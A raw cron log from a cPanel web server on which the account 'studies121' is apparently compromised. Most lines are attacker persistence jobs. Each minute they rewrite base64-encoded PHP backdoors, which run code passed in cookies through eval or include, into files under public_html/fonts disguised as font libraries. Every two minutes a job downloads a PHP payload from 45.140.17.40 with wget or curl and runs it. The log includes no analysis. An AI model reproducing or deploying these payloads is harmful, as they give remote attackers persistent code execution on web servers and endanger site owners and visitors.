Sep  7 16:54:01 ip-184-168-122-23 CROND[725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:54:01 ip-184-168-122-23 CROND[723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:54:01 ip-184-168-122-23 CROND[724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:55:01 ip-184-168-122-23 CROND[847]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:55:01 ip-184-168-122-23 CROND[848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:55:01 ip-184-168-122-23 CROND[850]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 16:55:01 ip-184-168-122-23 CROND[852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:55:01 ip-184-168-122-23 CROND[849]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 16:55:01 ip-184-168-122-23 CROND[855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:56:01 ip-184-168-122-23 CROND[963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:56:01 ip-184-168-122-23 CROND[965]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:56:01 ip-184-168-122-23 CROND[966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:56:01 ip-184-168-122-23 CROND[967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:56:01 ip-184-168-122-23 CROND[968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:57:01 ip-184-168-122-23 CROND[1095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:57:01 ip-184-168-122-23 CROND[1096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:57:01 ip-184-168-122-23 CROND[1097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:57:01 ip-184-168-122-23 CROND[1101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:58:01 ip-184-168-122-23 CROND[1204]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:58:01 ip-184-168-122-23 CROND[1203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:58:01 ip-184-168-122-23 CROND[1205]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:58:01 ip-184-168-122-23 CROND[1206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:58:01 ip-184-168-122-23 CROND[1208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:59:01 ip-184-168-122-23 CROND[1324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:59:01 ip-184-168-122-23 CROND[1327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:59:01 ip-184-168-122-23 CROND[1325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:59:01 ip-184-168-122-23 CROND[1326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:00:01 ip-184-168-122-23 CROND[1515]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 17:00:01 ip-184-168-122-23 CROND[1518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:00:01 ip-184-168-122-23 CROND[1519]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:00:01 ip-184-168-122-23 CROND[1520]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 17:00:01 ip-184-168-122-23 CROND[1522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:00:01 ip-184-168-122-23 CROND[1523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:00:01 ip-184-168-122-23 CROND[1524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:00:01 ip-184-168-122-23 CROND[1521]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 17:01:01 ip-184-168-122-23 CROND[1649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:01:01 ip-184-168-122-23 CROND[1651]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 17:01:01 ip-184-168-122-23 CROND[1652]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 17:01:01 ip-184-168-122-23 CROND[1654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:01:01 ip-184-168-122-23 CROND[1656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:01:01 ip-184-168-122-23 CROND[1658]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1651]: starting 0anacron
Sep  7 17:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1671]: finished 0anacron
Sep  7 17:02:01 ip-184-168-122-23 CROND[1761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:02:01 ip-184-168-122-23 CROND[1763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:02:01 ip-184-168-122-23 CROND[1764]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:02:01 ip-184-168-122-23 CROND[1765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:02:01 ip-184-168-122-23 CROND[1766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:03:02 ip-184-168-122-23 CROND[1850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:03:02 ip-184-168-122-23 CROND[1851]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:03:02 ip-184-168-122-23 CROND[1853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:03:02 ip-184-168-122-23 CROND[1852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:04:01 ip-184-168-122-23 CROND[1954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:04:01 ip-184-168-122-23 CROND[1957]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:04:01 ip-184-168-122-23 CROND[1956]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:04:01 ip-184-168-122-23 CROND[1955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:04:01 ip-184-168-122-23 CROND[1958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:05:01 ip-184-168-122-23 CROND[2065]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 17:05:01 ip-184-168-122-23 CROND[2062]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 17:05:01 ip-184-168-122-23 CROND[2064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:05:01 ip-184-168-122-23 CROND[2066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:05:01 ip-184-168-122-23 CROND[2061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:05:01 ip-184-168-122-23 CROND[2063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:05:01 ip-184-168-122-23 CROND[2067]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 17:06:01 ip-184-168-122-23 CROND[2247]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:06:01 ip-184-168-122-23 CROND[2251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
